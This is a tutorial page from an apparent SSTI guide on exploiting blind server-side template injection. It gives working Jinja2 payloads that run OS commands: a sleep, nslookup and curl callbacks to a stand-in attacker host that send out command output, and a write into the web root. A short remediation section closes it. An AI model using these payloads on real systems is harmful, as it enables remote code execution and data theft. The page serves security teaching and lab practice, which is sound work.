Server-Side Template Injection (SSTI): The Complete Practical Guide
Blind SSTI: Confirming and Exploiting Without Output
How to exploit blind SSTI with no output: timing with a sleep expression, out-of-band DNS and HTTP callbacks, exfiltration, and file-write fallbacks.
Published
Blind SSTI is the common real-world case: the template runs but the result never comes back to you, because it rendered into an email, a PDF, or a background job. You confirm and exploit it through side channels, timing and out-of-band callbacks, the same way you would blind command injection. This page covers the techniques. Practice on a free live target.
Why nothing renders back
The injectable field feeds a template that renders out of your view: a welcome email, an invoice PDF, an async report. The expression evaluates on the server, but the output is delivered somewhere you do not control. So you stop expecting the answer in the HTTP response and instead make the server tell you some other way.
Step 1: confirm with a delay
Timing is the simplest confirmation, but it only works when the template renders synchronously in the request path, for example a preview or a server-rendered page that computes the template and then discards the result. Inject an expression that sleeps for a fixed interval and measure the delay:
POST /preview HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
customer_name={{lipsum.__globals__['os'].popen('sleep 10').read()}}HTTP/1.1 200 OK
Content-Type: text/html
<p>Preview generated.</p>The body shows nothing useful, but the response arrives about ten seconds later than a baseline with no sleep, which confirms the expression executed. On Java engines the equivalent is the Execute built-in or reflection running a sleep.
One caveat decides whether timing is even usable: if the sink is genuinely asynchronous (a queued email or report that returns 202 Accepted immediately and renders in a background worker), the delay happens after the response is already sent, so timing is invisible in this round-trip. For those sinks, skip timing and go straight to the out-of-band channel below.
Step 2: open an out-of-band channel
Timing is slow and coarse. If the server can reach the network, make it call a listener you control. A DNS lookup is the most reliable, since DNS escapes many networks that block outbound HTTP:
{{lipsum.__globals__['os'].popen('nslookup probe.attacker.oast').read()}}A lookup for probe.attacker.oast arriving at your authoritative name server (or an interaction-capture service) confirms execution. An HTTP callback works where egress allows it:
{{lipsum.__globals__['os'].popen('curl http://attacker.oast/hit').read()}}Step 3: exfiltrate the output
Carry the command output inside the callback. Command substitution runs the inner command and splices its output into the hostname or URL, so the data lands in your logs:
{# DNS: whoami becomes a subdomain label #}
{{lipsum.__globals__['os'].popen('nslookup $(whoami).attacker.oast').read()}}
{# HTTP: output in the path #}
{{lipsum.__globals__['os'].popen('curl http://attacker.oast/$(whoami)').read()}}Base64-encode anything with characters that are not DNS or URL safe, and split across multiple lookups if a label exceeds the length limit. Even with zero reflected output, the data comes to you.
Fallback: write a file you can fetch
If both HTTP and DNS egress are blocked but the app serves files, write the output into a web-reachable directory and request it over the normal web path:
{{lipsum.__globals__['os'].popen('id > /var/www/html/static/o.txt').read()}}Then fetch https://target.example/static/o.txt. This turns a fully egress-filtered target into a readable channel through the app's own web root.
Patience and iteration
Blind work is slower: each question is one request, and timing needs repeats to beat jitter. Gate expensive probes behind a condition so each request answers a clean yes or no, keep a known-true and known-false baseline, and give each callback a unique label so you know which injection point fired.
Fixing it
- Pass user input as a context variable so the expression never evaluates, blind or not.
- Egress-filter the worker, including DNS, so timing and callbacks have no channel.
- Treat emails, PDFs, and background renders as template sinks too, which is exactly where blind SSTI lives.
Full guidance is in preventing SSTI. For every payload in one place, see the cheat sheet, or try a blind injection on a free lab.
← Back to Server-Side Template Injection (SSTI): The Complete Practical Guide